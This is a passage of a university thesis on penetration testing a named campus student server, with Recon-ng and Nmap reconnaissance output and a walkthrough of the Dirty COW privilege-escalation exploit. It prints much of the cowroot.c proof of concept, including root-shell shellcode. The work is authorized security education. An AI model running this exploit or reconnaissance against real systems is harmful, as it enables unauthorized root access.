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ABSTRACT

As society continues to grow more dependent on technology, the underlying security

of computer systems has become a target of many attackers–often referred to as “hackers.”

In the security field, there are two main approaches to carrying out security measures, namely

o↵ensive and defensive. Penetration testing, frequently shortened to pentesting, combines these

two methodologies to help fight and prevent potential attackers. Penetration testing simulates

real attacks in order to properly assess the potential consequences of a security breach [42];

furthermore, penetration testers are asked not only to discover vulnerabilities but to actively

exploit them to convey the magnitude of computer systems and data potentially at risk [42].

Using a virtual lab and Appalachian State University’s Computer Science Department’s

student server as targets, this thesis introduces the background and stages of a penetration

test, provides a demonstration of selected penetration tools, investigates e�ciency issues of

various tools and attacks, and ultimately o↵ers an inspection of the information obtained. The

demonstration stage includes constructing an e↵ective and e�cient password cracking attempt

by discovering, analyzing, and interpreting the mathematics that underlie the Secure Hashing

Algorithm, including its prime-based encryption techniques.

This work exposed significant security vulnerabilities on the student machine. Namely,

an exploit, known as Dirty COW, can be executed by a regular user on the machine to obtain

root access unobtrusively. In addition, student account passwords are, by default, very insecure.

After using the Dirty COW exploit to obtain the password and shadow files, it was found that

60% of the passwords can be cracked in just over 24 hours.
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Chapter 1

Introduction

In a society where international hacking dominates global news on a daily basis, an increased

focus on security has come to the forefront for businesses and individuals alike. Installing op-

erating system updates and security patches, as well as running up-to-date virus scanners can

provide a basis for security protection; however, this foundation can only protect against a

finite number of known vulnerabilities. Attackers assume that organizations implement com-

mon defenses such as anti-virus and firewalls, and instead focus their attention and skills to

find other vulnerabilities. For instance, a single misplaced semicolon or unclosed bracket in

a code can allow an attacker to obtain basic access; this basic access can lead to additional

vulnerabilities being exploited and an attacker ultimately obtaining full control of a system. A

zero-day attack is particularly dangerous. This is a vulnerability that is exploited before being

publicly announced; the author of the software is given zero days advance notice to create and

publish a security patch. Although there is no method to prevent or eliminate all zero-day

attacks, techniques do exist that can help minimize chances of a successful attack and lessen

the consequences should an attack occur.

Arguably the most e↵ective method for eliminating vulnerabilities is to actively find

them through a penetration test. A penetration test occurs when an authorized penetration

tester actively and intentionally targets a specified system, with the purpose of discovering

vulnerabilities. To fully test a system’s security, a penetration tester will exploit any discovered

vulnerabilities and continue attacking a system in an attempt to obtain administrative access.

Unlike an unauthorized attacker, who may have malicious intentions, a penetration tester ulti-
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2

mately creates a report with their results and suggestions. This report allows for a system to

be properly patched and protected from similar attacks in the future.

The Computer Science Department at Appalachian State University hosts a server,

student.cs.appstate.edu, where every Computer Science student has an individual ac-

count. Students use this server to store various programs for classes, personal use, and collabo-

ration. Although such a server does not likely stand out as a high-value target for cyberattacks,

attackers do not eliminate target machines based on their outward appearances; therefore, it

is just as critical for the Student Server’s security to be maintained and tested as it is for the

security of a Fortune 500 corporation.

The purpose of this thesis is twofold. Firstly, an overview of penetration testing is

o↵ered, including common tools and techniques. Secondly, having a penetration test executed

on the Student Server increases awareness of exploits and vulnerabilities, thereby allowing for

patches to be applied before exploitations can be utilized maliciously by attackers.

Chapter 2 outlines background information necessary for understanding the work of this

thesis; such information includes a formal introduction and the benefits of penetration testing.

This chapter also includes common vocabulary used throughout this work as well as a general

overview of the hardware and operating systems used for this study.

Chapter 3 illustrates popular penetration testing tools, such as programs for gathering

information on a target system and software for scanning a network for open ports. Using

the information obtained from these programs, this chapter examines how to use the data

to formulate an e�cient and successful penetration test. To help illustrate this portion of

a penetration test, this chapter will also examine a “real-world” scenario; specifically, using

a virtual lab environment replicating student.cs.appstate.edu, a known exploit will

executed to demonstrate its potential power to an attacker.

After obtaining the /etc/passwd and /etc/shadow files in Chapter 3, Chapter 4

examines the security of passwords over the last few decades, including methods used to increase

security of stored passwords. This chapter specifically includes an explanation of the Secure

Hash Algorithm-1, and its successor, Secure Hash Algorithm-512. A short example of

both algorithms will be provided to help demonstrate the algorithms and the shortcomings of

Secure Hash Algorithm 1.
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Chapter 5 begins with an introduction to password cracking, including two tools com-

monly used in cracking encrypted and hashed passwords. After investigating the mathematics

and time complexities behind various algorithms and cracking attempts frequently used in pass-

word cracking tools, this chapter o↵ers a demonstration of password cracking by successfully

recovering more than half of the passwords from student.cs.appstate.edu.

Chapter 6 concludes this thesis with an overview of the exploits used and information

obtained during this thesis, as well as providing recommendations for securing

student.cs.appstate.edu. This chapter also discusses the limitations of this thesis and

future research opportunities for further exploring penetration testing.



Chapter 2

Background

Before describing a penetration test in detail, it is necessary to provide some background in-

formation regarding common terms in a penetration test, clarify general misconceptions about

penetration tests, and explain the computer hardware used for the penetration test illustrated

in this work.

2.1 Common Terminology and Abbreviations

— Attacker – A person hacking illegally, often with malicious intent.

— Bit – A binary digit having a value of 0 or 1.

— Breaking or Cracking a Password – Recovering or obtaining an unknown password,

often by repeatedly guessing the password using a computer algorithm.

— Brute Force – A trial and error method used to find a solution until the proper key is

found.

— Byte – A group of eight bits.

— Defensive Security – A reactive approach to protecting computer systems from security

threats already in existence.

— Federal Information Processing Standards Publications (FIPS PUBS) – Pub-

licly announced standards developed by the Federal Government of the United States

4
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for non-military government agencies and government contractors. The “Secure Hash

Standard”, or “FIPS PUBS 180-2”, is discussed in detail in Chapter 4.

— Hacking – Obtaining unauthorized access to a computer system.

— Hashing – Transforming a string of characters into a fixed-length value, or key, that rep-

resents the original string. Most hashes are “one-way,” meaning they are easily executed

in one direction but extremely di�cult—theoretically impossible—to derive the original

string from a given hash.

— IP Address – A numerical address consisting of strings of numbers separated with pe-

riods. An IP address is one piece of information used to identify a computer on the

Internet.

— O↵ensive Security – A proactive approach to protecting computer systems from po-

tential security threats.

— Penetration Test (Pentest) – The practice of intentionally testing a computer system,

with permission, to find vulnerabilities that could be exploited by an attacker.

— Penetration Tester (Pentester) – A person hired and given authorization to hack a

system with the intention of identifying vulnerabilities.

2.2 Overview of Penetration Testing

Sometimes compared to a routine fire-drill, a penetration test mimics a real cyberattack, thereby

allowing in-place security practices to be tested and light to be shed where additional security

measures are necessary. The scale of a penetration test can vary greatly, from individual appli-

cations to business-wide attacks. For instance, penetration testers may be given a specific IP

address and asked to find and exploit vulnerabilities only on one server, while other pentesters

may be tasked to, with no prior knowledge of passwords or usernames, attack a company’s

infrastructure full-on. Often confused with a vulnerability scan or assessment, explained in

Section 2.3, a penetration test seeks not only to find vulnerabilities, but to exploit them to

their greatest extent. This means that, although a penetration tester may be hired to find one
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vulnerability, they are expected to use any discovered vulnerabilities and continue attacking

a system in order to identify additional vulnerabilities that may exist [32]. Penetration tests

also help illustrate to administrators the key weaknesses in a system’s or application’s security

defenses, thereby allowing for resources to be properly allocated. Often, a pentester will be pro-

vided with user-level access credentials and tasked with gaining additional privileges or obtain

access to information and resources that should be, under normal circumstances, restricted or

hidden [32]. A thorough penetration test uses multiple kinds of attacks by using a variety of

resources to fully simulate a true attack.

The key di↵erence between a penetration tester and an attacker is the presence of

permission, or lack thereof in the former case. Although a penetration test is intended to be

executed without alerting security administrators, it is essential for a pentester to obtain written

permission from the owner of targeted devices prior to attempting any form of an attack; any

unauthorized access—successful or not—is an illegal action, punishable by law.

2.3 Penetration Testing Versus Vulnerability Testing

As previously mentioned, confusion often exists between a “penetration test” and a “vulner-

ability test” or “vulnerability assessment”; the two terms are similar, but penetration testing

specifically refers to exploiting vulnerabilities to gain access while vulnerability testing refers to

only identifying* software vulnerabilities [32]. Many companies, as well as penetration testers,

use vulnerability scanners to identify potential vulnerabilities; however, such scanners simply

create alerts based on observed behaviors or responses that do not always reflect actual results

[32]; this can lead to false positives being reported or critical vulnerabilities being overlooked

entirely. Additionally, while a vulnerability scanner analyzes various controlled aspects of a

network, a full penetration test targets all systems and configurations in an environment.

2.4 Benefits of a Penetration Test

Penetration testing has become a security standard for many organizations today, and the ben-

efits of investing in penetration tests continue to grow. Most apparent, penetration tests assist

in identifying higher-risk vulnerabilities, even if they initially stem from low-risk vulnerabilities,



7

and allow vulnerabilities to be patched before an attacker finds them. Penetration tests are also

often able to identify vulnerabilities that go undetected by automated vulnerability scanners.

As the number and size of cyberattacks continue to grow, the cost of falling victim to criminal

hacking also grows; penetration testing provides a strong defense against such hacks. SANS

Institute aptly describes a penetration test as “an annual medical physical”:

Even if you believe you are healthy, your physician will run a series of tests (some

old and some new) to detect dangers that have not yet developed symptoms. [32]

In addition to helping eliminate potential exploits, penetration tests can assist other areas of

a business. Penetration tests aid in preparing a security team’s response to an incident; this

includes evaluating the team’s ability to detect an intrusion, as well as their ability to react to

a vulnerability in a timely and cost e↵ective manner. Additionally, it is not uncommon for a

security team to be aware of a weakness or vulnerability but be unable to convince management

to support or invest in the necessary changes required to secure the system [32]. However, having

a third-party, such as a penetration testing team, demonstrate the impact of a vulnerability can

prove more influential to administration and often instill proper concerns for action. In general,

a penetration test can ensure an organization’s security measures while revealing potential gaps

in compliance.

2.5 Executing a Penetration Test

The Penetration Testing Execution Standard suggests breaking a test into seven steps to suc-

cessfully, e↵ectively, and e�ciently convey the potential risks a company’s business environment

faces by an exploited security vulnerability [38]. This process generally parallels that of an

unauthorized attacker to ensure completeness of an attack.

1. The first stage of a penetration test, known as “Pre-engagement Interactions,” involves

open communication between penetration testers and infrastructure administrators to

ensure that all participants in the penetration test are on the same understanding in

regards to the details and limitations of the penetration test to follow.
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2. The second stage, or the “Intelligence Gathering” stage, focuses on using and analyzing

information freely available in a process known as open source intelligence (OSINT).

During this stage penetration testers develop tools, such as port scanners, to identify the

basic topography and systems of a network, as well as create a virtual lab in order to test

tools without impacting any servers in the production environment.

3. “Threat Modeling,” the third stage in a penetration test, uses information obtained in

the Intelligence Gathering stage to develop a plan for attacking the targeted system.

4. The fourth stage, or “Vulnerability Analysis,” of a pentest involves actively discovering

vulnerabilities to identify useful exploitations to use.

5. The first actual exploitation of previously discovered vulnerabilities occurs during the

“exploitation” phase.

6. The exploitation stage leads into the “Post Exploitation” stage, where information and

access obtained during exploitation will be further exploited and pentesters attempt to

gain additional access or privileges.

7. The final stage, referred to as the “Reporting” stage, brings the penetration test to a

conclusion. This final stage of a pentest is arguably the most important step of the

entire process in which reports and final recommendations are formulated and ultimately

published in some manner.

2.6 Using a Virtual Lab Environment

Anything connected to the Internet is ultimately vulnerable to one attack or another. Dis-

covering which vulnerabilities are exploitable requires numerous connections and brute force

attempts. Although performing pentesting on a production environment may be permissible,

successful attacks can prove damaging and costly—whether it results in temporary downtime

due to software faults or permanent damage due to hardware failure. In attempt to alleviate

such risks, a virtual lab is often used to prepare and test various applications before executing

them in the wild.
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Physical Hardware

Due to the high resources demanded by virtual machines, a high performance desktop is required

to properly run multiple virtual machines concurrently. For this penetration test, the base

machine consisted of the following:

— Case: CORSAIR Carbide Series Air 740 High Airflow ATX Cube Case

— Video Card: ASUS ROG Strix GeForce GTX 1080 OC 8GB GDDR5X

— Hard Drive: SAMSUNG 950 PRO 1 ⇥ 512GB; SAMSUNG 850 PRO 1 ⇥ 500GB;

1 ⇥ 256GB; SAMSUNG 840 PRO 2 ⇥ 128GB; WESTERN DIGITAL Black 1 ⇥ 1TB;

WESTERN DIGITAL Red 1⇥ 3TB;

— Power Supply: CORSAIR AX1200i Digital ATX Power Supply

— RAM: CORSAIR Vengeance LED 64GB (4⇥16GB) 288-Pin DDR4 SDRAM DDR4 3200

(PC425600)

— CPU: Intel CORE i7-6850K 3.6GHz over-clocked to 4.5GHz

— Motherboard: ASUS ROG RAMPAGE V EDITION 10

— CPU Cooler: CORSAIR Hydro Series H115i, 280mm

The base operating system of Windows 10, 64-bit, ran Oracle’s Virtual Box which hosted the

following operating systems virtually:

— Windows Server 2012 R2 - This server acted as a Microsoft Active Directory Domain

Controller as well as a local Domain Name Server.

— Kali Linux 2016.2 - Considered the standard OS in o↵ensive penetration testing, this

Debian-based Linux distribution “contains a wealth of di↵erent security tools all pre-

configured into a single framework,” making it the default operating system for many

penetration testers [27].

— Red Hat Server 7.2 - The operating system used by student.cs.appstate.edu,

known for its ability to deliver high-end security features, nearly 100% up time, support

for heavy business models and workloads, and many more features [15].
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— Windows 7 x64 - Used to represent a general machine from which students can ssh to

the Red Hat server.

— Windows 8.1 x64 - Used to represent a general machine from which students can ssh

to the Red Hat server.

To prepare for running any tests on student.cs.appstate.edu, a virtual lab was created.

To protect other systems on the local network, a private virtual network was established, and

any tra�c entering or leaving the network was routed through a CISCO PIX 515e firewall. A

Windows Server 2012 R2 was configured as a domain controller through which all other virtual

machines authenticated. To replicate the student server, a Red Hat Linux was configured;

this virtual machine contained the original /etc/passwd and /etc/shadow files from the

student server to better mirror student.cs.appstate.edu. A Windows 7 and a Windows

8.1 machine were created to mimic regular students using the student server, thereby allowing

tra�c to be monitored and analyzed. Kali Linux was used as the default operating system

from which exploits and information gathering tools were run. Although the port scanners

and information gathering programs used in this work targeted student.cs.appstate.edu

directly, all exploits, including Dirty COW, were run exclusively in this virtual environment to

protect the student server and Appalachian State University’s network as a whole.



Chapter 3

Information Gathering

The first step in attacking a target is not to immediately start pinging various IP addresses, but

to analyze the target and its environment. For a target such as student.cs.appstate.edu,

it is important to note things such as:

• The server belongs to an educational organization, specifically Appalachian State Univer-

sity.

• The server is used by the Computer Science Department.

• The server is used by students and will therefore likely have open ports for projects

students are working on.

• Using nslookup student.cs.appstate.edu, the server’s IP address is 152.10.10.44.

These details make it easier to prepare a well established attack. As explained in Chapter

5, having background knowledge on an organization can assist in creating word lists, which

therefore results in more e�cient cracking times. A common technique penetration testers

use to gather detailed and “insider” information on a company is to create fake social media

profiles; using social media sites such as Facebook [6], LinkedIn [11], Glassdoor [8], and Twitter

[18] allow for testers to obtain more detailed information about an organization without being

detected or personally identified. Information such as a company’s verbiage or its organizational

chart can also be obtained by searching the organization’s website or news reports featuring

the company.

11
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Peters suggests breaking up the “Intelligence Gathering” stage into four sections: Open

Source Intelligence, External Scanning, Internal Scanning, and Web Application Scanning [27].

Numerous preexisting tools are available for assisting penetration testers in each phase, but

many pentesters choose to build new tools or adapt programs written by others to better fit a

specific task or target. Open Source Intelligence involves gathering information on a target that

is freely available on the Internet. External and Internal Scanning actively scan external and

internal segments of a target’s network to identify hosts and their respective operating systems

[27]. The fourth section, Web Application Scanning, identifies web-based applications used by a

target, potentially revealing application-specific vulnerabilities that can lead to system access.

This chapter begins with an introduction to a few programs often utilized by penetra-

tion testers for gathering information. In addition to descriptions for each software, Section 3.1

illustrates the configuration, execution, and results of Recon-ng, an open source intelligence

focused tool, and Nmap, a network scanner. Section 3.2 discusses a critical vulnerability discov-

ered on student.cs.appstate.edu before providing a demonstration of the vulnerability

being exploited.

3.1 Penetration Testing Tools

Recon-ng

A Python based reconnaissance framework, Recon-ng is a powerful tool for Open Source

Intelligence Scanning [41]. Using an interface similar to that of Metasploit, Recon-ng

reduces the learning curve for new users, while still o↵ering an automated web-based open

source reconnaissance. Supplied with only a domain name, Recon-ng can often provide enough

information to help plan an attack.

To illustrate the use and power of Recon-ng, this thesis simulates running it on

student.cs.appstate.edu. The commands used to configure Recon-ng are included

in this section. The first step in running Recon-ng and obtaining information about Ap-

palachian State University’s Computer Science server is to open Recon-ng and define a new

workspace. Then, Recon-ng allows for a user to specify the domain to use and a description

of the company.



13

root@SeniorThesisKali:/opt/recon-ng# ./recon-ng

[recon-ng][default] > workspaces add ASU

[recon-ng][ASU] > add domains cs.appstate.edu

[recon-ng][ASU] > add companies

company (TEXT): Appalachian State University CS Student Server

description (TEXT): Gathering Information

Figure 3.1: Initial Setup for Recon-ng.

Because Recon-ng uses independent modules, the next step in using Recon-ng is to

specify the modules to use, and run each one after loading it. This example uses Google and

Bing to search for domain names, a brute force method for discovering subdomains, as well as

other modules listed in Table 3.1; the respective commands for each module are listed in Figure

3.2.

Despite configuring Recon-ng to scan student.cs.appstate.edu, a single server

with a relatively small set of enabled users, the program discovered nine additional hosts with

similar names or IP addresses, as well as four users whose emails are listed in the public PGP

store. The final report generated by Recon-ng can be found in Appendix A.1.

Nmap and Masscan

Nmap, one of the most used and trusted network scanners, is widely used for the internal and

external scanning phases. In recent years, however, a tool known as Masscan has been gaining

popularity. Masscan uses a custom TCP/IP stack, allowing it to be considered the fastest

Internet port scanner that remains more flexible than other scanners currently available [23]

[27]. Both tools take an IP address, or a range of addresses, as well as a list of ports, and

scans specified hosts to discover open ports. Nmap can also “complete the TCP connection and

interaction with the application at that port,” allowing for banner information to be retrieved

[23].

In addition to scanning hosts for open ports, Nmap can be configured to scan for a host’s

operating system by adding the -O flag when calling Nmap. To do this, Nmap sends TCP and

UDP packets to a host and then carefully examines each response to form a unique fingerprint
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[recon-ng][ASU] > use recon/domains-hosts/bing domain web

[recon-ng][ASU][bing domain web] > run

...Output not shown...

[recon-ng][ASU][bing domain web] > use recon/domains-hosts/

google site web

[recon-ng][ASU][google site web] > run

...Output not shown...

[recon-ng][ASU][google site web] > use recon/domains-hosts/

brute hosts

[recon-ng][ASU][brute hosts] > run

...Output not shown...

[recon-ng][ASU][brute hosts] > use use recon/domains-hosts/netcraft

[recon-ng][ASU][netcraft] > run

...Output not shown...

[recon-ng][ASU][netcraft] > use recon/hosts-hosts/resolve

[recon-ng][ASU][resolve] > run

...Output not shown...

[recon-ng][ASU][resolve] > use recon/hosts-hosts/reverse resolve

[recon-ng][ASU][reverse resolve] > run

...Output not shown...

[recon-ng][ASU][reverse resolve] > use Discover/info disclosure/

interesting files

[recon-ng][ASU][interesting files] > run

...Output not shown...

[recon-ng][ASU][interesting files] > use recon/hosts-hosts/ipinfodb

[recon-ng][ASU][ipinfodb] > run

...Output not shown...

[recon-ng][ASU][ipinfodb] use recon/domains-contacts/whois pocs

[recon-ng][ASU][whois pocs] > run

...Output not shown...

[recon-ng][ASU][whois pocs] use recon/domains-contacts/pgp search

[recon-ng][ASU][pgp search] > run

...Output not shown...

[recon-ng][ASU][pgp search] use recon/contacts-credentials/

hibp paste

[recon-ng][ASU][hibp paste] > run

...Output not shown...

[recon-ng][ASU][hibp paste] use reporting/html

[recon-ng][ASU][html] > set CREATOR Andrew

[recon-ng][ASU][html] > set CUSTOMER ASU

[recon-ng][ASU][html] > run

...Output not shown...

Figure 3.2: Running Modules in Recon-ng.
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Recon-ng Module Module Description

bing domain web Searches Bing for domain names.

google site web Searches Google for domain names.

brute hosts Search for subdomains by brute-force.

netcraft Look at netcraft for domain names.

resolve Resolve domain names to IP addresses.

reverse resolve Resolve IP addresses to host names and domain names.

interesting files Look for files on the identified domains.

ipinfodb Find the location of the IP addresses that were previously
discovered.

whois pocs Search for email addresses using whois lookup.

pgp search Look through public PGP store for email addresses.

hibp paste Cross checks all discovered email addresses against the
“Have I Been PWN’ed” website [26]. If an email
address appears on the website, their password for
student.cs.appstate.edu may be the same as the one
that was leaked.

html Used for creating a report and exporting it in HTML format.

Table 3.1: Recon-ng Modules.
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root@SeniorThesisKali:⇠# nmap 152.10.10.44 -p-

Starting Nmap 7.40 (http://nmap.org) at 2017-02-15 22:42 EST

Nmap scan report for student.cs.appstate.edu (152.10.10.44)

Host is up (0.00034s latency).

Not shown: 65504 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.2.2

22/tcp open ssh OpenSSH 5.3 (protocol 2.0)

23/tcp open telnet Linux telnetd

25/tcp open smtp Sendmail 8.14.4/8.14.9

80/tcp open http Apache httpd 2.2.31 ((Unix) mod ssl/2.2.31

OpenSSL/1.0.1e-fips DAV/2 PHP/5.6.25 mod perl/2.0.9 Perl/v5.10.1)

111/tcp open rpcbind

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: MYGROUP)

443/tcp open https Apache httpd 2.2.31 ((Unix) mod ssl/2.2.31 OpenSSL/1

.0.1e-fips DAV/2 PHP/5.6.25 mod perl/2.0.9 Perl/v5.10.1)

445/tcp open netbios-ssn Samba smbd 3.X (workgroup: MYGROUP)

587/tcp open smtp Sendmail 8.14.4/8.14.9

631/tcp open ipp CUPS 1.4

875/tcp open rpcbind

2049/tcp open nfs

3030/tcp open arepa-cas

3306/tcp open mysql MySQL 5.1.73

6010/tcp open x11

6011/tcp open tcpwrapped

6012/tcp open unknown

6016/tcp open unknown

7890/tcp open unknown

8005/tcp open mxi

8009/tcp open ajp13 Apache Jserv (PRotocol v1.3)

8080/tcp open http-proxy Apache Tomcat/Coyote JSP engine 1.1

9102/tcp open jetdirect

15000/tcp open hydap

15001/tcp open unknown

15003/tcp open unknown

15004/tcp open unknown

33905/tcp open rpcbind

42876/tcp open rpcbind

43071/tcp open rpcbind

43870/tcp open rpcbind

50520/tcp open rpcbind

51136/tcp open rpcbind

Nmap done: 1 IP address (1 host up) scanned in 1.94 seconds

Figure 3.3: Nmap Output for student.cs.appstate.edu.



17

root@SeniorThesisKali:⇠# nmap 152.10.10.44 -O

Starting Nmap 7.40 ( https://nmap.org ) at 2017-04-05 16:54 EDT

Nmap scan report for student.cs.appstate.edu (152.10.10.44)

Host is up (0.0037s latency).

. . . open ports not shown . . .

Device type: general purpose|storage-misc|WAP|load balancer

Running (JUST GUESSING): Linux 2.6.X (95%), Netgear embedded

(92%), Vodafone embedded (89%), F5 Networks embedded (87%),

Ubiquiti embedded (87%)

OS CPE: cpe:/o:linux:linu kernel:2.6.32

cpe:/o:linux:linux kernel:2.6 cpe:/h:netgear:readynas 3200

cpe:/h:vodafone:easybox 802

Aggressive OS guesses: Linux 2.6.32 (95%), Netgear ReadyNAS

3200 NAS device (Linux 2.6) (92%), Vodafone EasyBox 802 wireless

ADSL router (89%), Linux 2.6.11 - 2.6.18 (88%), F5 BIG-IP load

balancer (87%), Ubiquiti WAP (Linux 2.6.32) (87%)

No exact OS matches for host (test conditions non-ideal).

OS detection performed. Please report any incorrect results at

https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 27.31 seconds

Figure 3.4: Nmap OS Detection.

for the host [30]. Nmap attempts to match this fingerprint to its own database of more than

2600 operating system fingerprints. As illustrated in Figure 3.4, Nmap provides a “best guest”

along with a confidence level for its choices when an exact match cannot be found.

A sample output from running Nmap on student.cs.appstate.edu is shown in

Figures 3.3 and 3.4. Figure 3.3 illustrates 34 open ports with a variety of applications in use.

Figure 3.4 o↵ers the results after configuring Nmap to attempt its operating system detection;

from this output, it is reasonable to assume student.cs.appstate.edu runs an operating

system with Linux Kernel version 2.6.32.
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3.2 Dirty COW

Explanation of Dirty COW

After discovering student.cs.appstate.edu runs Linux 2.6.32, a search through Rapid7’s

“Vulnerability Database” reveals a number of known vulnerabilities to un-patched versions of

this kernel version [19]. One of the most notable results is a bug referenced by CVE-2016-5195;

this bug creates a race condition in the Linux kernels 2.x up to but excluding 4.8.3 that allows

a standard user to gain root privileges by exploiting an incorrect handling of the copy-on-write

(COW) feature that ultimately allows writing to a read-only memory mapped file [37]. Because of

this COW mishandling, CVE-2016-5195 is often referred to as “Dirty COW” and has become

popular enough that a community-maintained website, Twitter, and online store have been

created. The bug even has a logo, depicted in Figure 3.5, that was created by a professional

designer.

To fully comprehend how Dirty COW exploits the COW mishandling, it is necessary to

understand the purpose of the copy-on-write feature. Most simplistically, copy-on-write is a

technique used by operating systems for resource-management. That is, when an operating

system receives multiple requests for the same file or resource, it creates and provides a pointer

to the file, eliminating the need to make multiple copies of the file. Provided no changes are

made to the file, the copy-on-write feature avoids wasting unnecessary resources required to

create copies of the file. However, if an application needs to modify, or write, to the resource,

the operating system creates a copy of the file so it can be modified by the application without

altering the original file.

Because Dirty COW allows a regular user to have write access to otherwise read-only

files, a user can overwrite a file, such as /usr/bin/passwd, with executable code. For Dirty

COW to execute successfully, the file that is overwritten must be owned by root; this ensures

the code will be executed as if run by a root user. Many implementations of Dirty COW exist

for this exploit and are publicly available on Dirty COW’s GitHub page [21]. The cowroot.c

proof of concept (see Appendix B.1 for full code), specifically, creates a SUID-based root by

temporarily overwriting /usr/bin/passwd with the executable that first runs setuid(0)

and then /bin/bash to create a shell with root privileges. The shell created by cowroot.c
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Figure 3.5: CVE-2016-5195 (Dirty Cow) Logo [3].

is run from memory; therefore the shell, and consequently any commands executed within the

shell, leave no physical or electronic trace.
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1 int main ( int argc , char ⇤argv [ ] ) {
2 char ⇤backup ;
3
4 p r i n t f ( ‘ ‘ DirtyCow root p r i v i l e g e e s c a l a t i o n \n ’ ’ ) ;
5 p r i n t f ( ‘ ‘ Backing up %s to /tmp/bak\n ’ ’ , s u id b ina ry ) ;
6
7 a s p r i n t f (&backup , ‘ ‘ cp %s /tmp/bak ’ ’ , s u id b ina ry ) ;
8 system ( backup ) ;
9

10 f = open ( su id b inary ,O RDONLY) ;
11 f s t a t ( f ,& s t ) ;
12
13 p r i n t f ( ‘ ‘ S i z e o f b inary : %d\n ’ ’ , s t . s t s i z e ) ;
14
15 char payload [ s t . s t s i z e ] ;
16 memset ( payload , 0x90 , s t . s t s i z e ) ;
17 memcpy( payload , sc , s c l e n +1) ;
18
19 map = mmap(NULL, s t . s t s i z e ,PROTREAD,MAP PRIVATE, f , 0 ) ;
20
21 p r i n t f ( ‘ ‘ Racing , t h i s may take a while . . \ n ’ ’ ) ;
22
23 p th r ead c r ea t e (&pth1 , NULL, &madviseThread , su id b ina ry ) ;
24 p th r ead c r ea t e (&pth2 , NULL, &procselfmemThread , payload ) ;
25 p th r ead c r ea t e (&pth3 , NULL, &waitForWrite , NULL) ;
26
27 p th r ead j o i n ( pth3 , NULL) ;
28
29 return 0 ;
30 }

Listing 3.1: Main Method of cowroot.c.

The main method of cowroot.c (Listing 3.1), first creates a backup of a file, which

in this case is /usr/bin/passwd, and stores the copy in /tmp/bak to allow for the file to

be restored after exploitation has finished. A file, and in this case the /usr/bin/passwd, is

then opened in read-only-mode, specified by O RDONLY. mmap is then used to create a new

mapped memory segment in the currently running process so that the file can be accessed out of

DRAM memory instead of from disk storage. Consequently, mmap does not copy the contents of

the file into memory but maps the file into memory. Three of the arguments passed to mmap are

PROT READ, MAP PRIVATE, and f. PROT READ signifies that it is read only. MAP PRIVATE

is used to signify a copy-on-write (cow) mapping; this type of mapping results in the
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operating system creating a copy of the file whenever an attempt to write or change the file is

made. In this mode, the updates are only visible to other processes mapped to the same file

and are not carried through to the underlying file still in storage. The argument f is the file

mapped to a new memory area. The key to this exploit is that, by using copy-on-write, the

system does not write to the original file but to the copy of it that is in memory. Therefore,

despite a file being READ ONLY, it is possible to use private mapping to write to copy of it.

The next statements in the main method create three threads that run in parallel,

causing a race condition. The first thread calls the madviseThread method, shown in Listing

3.2. Using madvise, this thread advises the kernel that the first 100 bytes of memory are not

needed in the near future, signified by MADV DONTNEED [29]. Consequently, the OS removes

the memory mapped region from DRAM; this results in subsequent accesses of pages in this

memory range succeeding, but requiring a reloading of the memory contents from the underlying

mapped file first.

unsigned char sc [ ] = {
0x7f , 0x45 , 0x4c , 0x46 , 0x02 , 0x01 , 0x01 , 0x00 , 0x00 , 0x00 , 0x00 ,

0x00 ,
0x00 , 0x00 , 0x00 , 0x00 , 0x02 , 0x00 , 0x3e , 0x00 , 0x01 , 0x00 , 0x00 ,

0x00 ,
0x78 , 0x00 , 0x40 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x40 , 0x00 , 0x00 ,

0x00 ,
0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ,

0x00 ,
0x00 , 0x00 , 0x00 , 0x00 , 0x40 , 0x00 , 0x38 , 0x00 , 0x01 , 0x00 , 0x00 ,

0x00 ,
0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x00 , 0x00 , 0x00 , 0x07 , 0x00 , 0x00 ,

0x00 ,
0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x40 ,

0x00 ,
0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x40 , 0x00 , 0x00 , 0x00 , 0x00 ,

0x00 ,
0xe3 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x4e , 0x01 , 0x00 ,

0x00 ,
0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x10 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ,

0x00 ,
0x48 , 0x31 , 0 x f f , 0x6a , 0x69 , 0x58 , 0x0f , 0x05 , 0x6a , 0x3b , 0x58 ,

0x99 ,
0x48 , 0xbb , 0x2f , 0x62 , 0x69 , 0x6e , 0x2f , 0x73 , 0x68 , 0x00 , 0x53 ,

0x48 ,
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0x89 , 0xe7 , 0x68 , 0x2d , 0x63 , 0x00 , 0x00 , 0x48 , 0x89 , 0xe6 , 0x52 ,
0xe8 ,

0x3c , 0x00 , 0x00 , 0x00 , 0x65 , 0x63 , 0x68 , 0x6f , 0x20 , 0x27 , 0x30 ,
0x27 ,

0x20 , 0x3e , 0x20 , 0x2f , 0x70 , 0x72 , 0x6f , 0x63 , 0x2f , 0x73 , 0x79 ,
0x73 ,

0x2f , 0x76 , 0x6d , 0x2f , 0x64 , 0x69 , 0x72 , 0x74 , 0x79 , 0x5f , 0x77 ,
0x72 ,

0x69 , 0x74 , 0x65 , 0x62 , 0x61 , 0x63 , 0x6b , 0x5f , 0x63 , 0x65 , 0x6e ,
0x74 ,

0x69 , 0x73 , 0x65 , 0x63 , 0x73 , 0x3b , 0x2f , 0x62 , 0x69 , 0x6e , 0x2f ,
0x62 ,

0x61 , 0x73 , 0x68 , 0x00 , 0x56 , 0x57 , 0x48 , 0x89 , 0xe6 , 0x0f , 0x05
} ;
unsigned int s c l e n = 227 ;

void ⇤madviseThread (void ⇤ arg )
{

char ⇤ s t r ;
s t r=(char⇤) arg ;
int i , c=0;
for ( i =0; i <1000000 && ! stop ; i++) {

c+=madvise (map,100 ,MADVDONTNEED) ;
}
p r i n t f ( ‘ ‘ thread stopped \n ’ ’ ) ;

}

Listing 3.2: MadviseThread Method of cowroot.c.

The second thread, Listing 3.3, opens /proc/self/mem. As a virtual or pseudo-
